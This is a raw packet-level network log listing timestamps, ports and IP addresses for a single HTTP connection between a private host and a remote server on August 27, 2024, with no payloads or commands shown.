Aug 27, 2024 09:49:39.160757065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160768986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160779953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160792112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160801888 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160804033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160815001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160815001 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160828114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160840034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.160840988 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.160859108 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161248922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161259890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161266088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161278963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161290884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161302090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161302090 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161314011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161329985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161360025 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161380053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161391020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161401033 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161412001 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161425114 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161449909 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161592960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161604881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161614895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161628962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161639929 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161640882 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161653042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161664963 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161676884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161680937 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161689043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161703110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161714077 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161717892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161726952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161746025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161751032 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161757946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161770105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161781073 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161784887 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161792994 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161811113 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161828041 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161933899 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161946058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161956072 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161967039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161976099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.161979914 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.161993027 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.162004948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.162017107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.162028074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.162033081 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.162039995 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.162061930 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.162086964 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.162559986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.162570953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.162617922 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.236605883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.236674070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.236685038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.236726046 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.236751080 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.236763000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.236793041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.236804962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.236809015 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.236829042 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.236865044 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.236876965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.236902952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.236949921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.236960888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.236989975 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237010956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237021923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237034082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237045050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237054110 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237055063 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237075090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237086058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237088919 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237097025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237103939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237109900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237122059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237128973 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237134933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237150908 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237181902 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237288952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237299919 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237309933 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237320900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237333059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237349033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237360001 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237421989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237432957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237443924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237456083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237468958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237477064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237478971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237493038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237499952 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237504005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237514973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237519026 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237528086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237539053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237539053 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237550974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237552881 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237560987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237571955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237579107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237585068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237596035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237597942 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237618923 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237709999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237721920 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237730980 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237744093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237756014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237767935 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237768888 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237778902 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237791061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237793922 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237802982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237814903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237824917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237828016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237835884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237854958 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.237916946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237929106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.237973928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238075972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238086939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238095999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238106966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238121033 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238123894 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238135099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238136053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238147020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238158941 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238159895 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238171101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238182068 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238187075 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238193989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238200903 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238204956 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238217115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238228083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238234997 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238240957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238251925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238257885 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238265991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238276958 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238279104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238291025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238301992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238307953 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238326073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238526106 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238539934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238549948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238564968 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238574982 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238576889 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238585949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238596916 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238600016 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238607883 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238620043 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238625050 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238636971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238646984 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238650084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238660097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238672018 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238672972 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238682985 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238687038 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238698006 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238707066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238708973 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238715887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238727093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238743067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238750935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238756895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238775015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.238790989 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.238810062 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.239012957 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239023924 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239032984 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239044905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239059925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.239062071 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239073992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239084959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239092112 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.239097118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239109039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239109993 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.239120007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239130974 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239141941 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.239144087 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239156008 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239165068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.239166021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239181995 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.239202976 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.239381075 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239392042 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239402056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239413023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239423990 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239429951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.239438057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239451885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239459991 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.239464045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.239478111 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.239492893 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.323524952 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323627949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323637962 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323647976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323664904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323682070 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323693991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323704958 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323713064 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.323715925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323725939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323734045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.323756933 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.323776007 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.323791981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323805094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323817015 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323831081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323851109 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.323868990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.323928118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323939085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323949099 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323961020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323972940 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323985100 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.323990107 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.323997021 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324001074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324027061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324027061 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324038029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324048996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324058056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324065924 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324086905 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324201107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324212074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324222088 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324239016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324249029 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324249983 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324259996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324273109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324280977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324289083 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324292898 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324304104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324316025 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324316025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324326992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324331045 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324337959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324376106 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324403048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324436903 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324448109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324457884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324469090 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324486017 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324516058 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324635029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324645996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324655056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324666977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324677944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324685097 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324688911 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324700117 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324704885 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324712992 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324723005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324734926 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324738979 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324745893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324747086 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324758053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324763060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324769020 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324789047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324831009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:39.324907064 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324918032 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324929953 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324942112 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324951887 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:39.324963093 CEST	80	49715	188.114.96.3	192.168.2.8
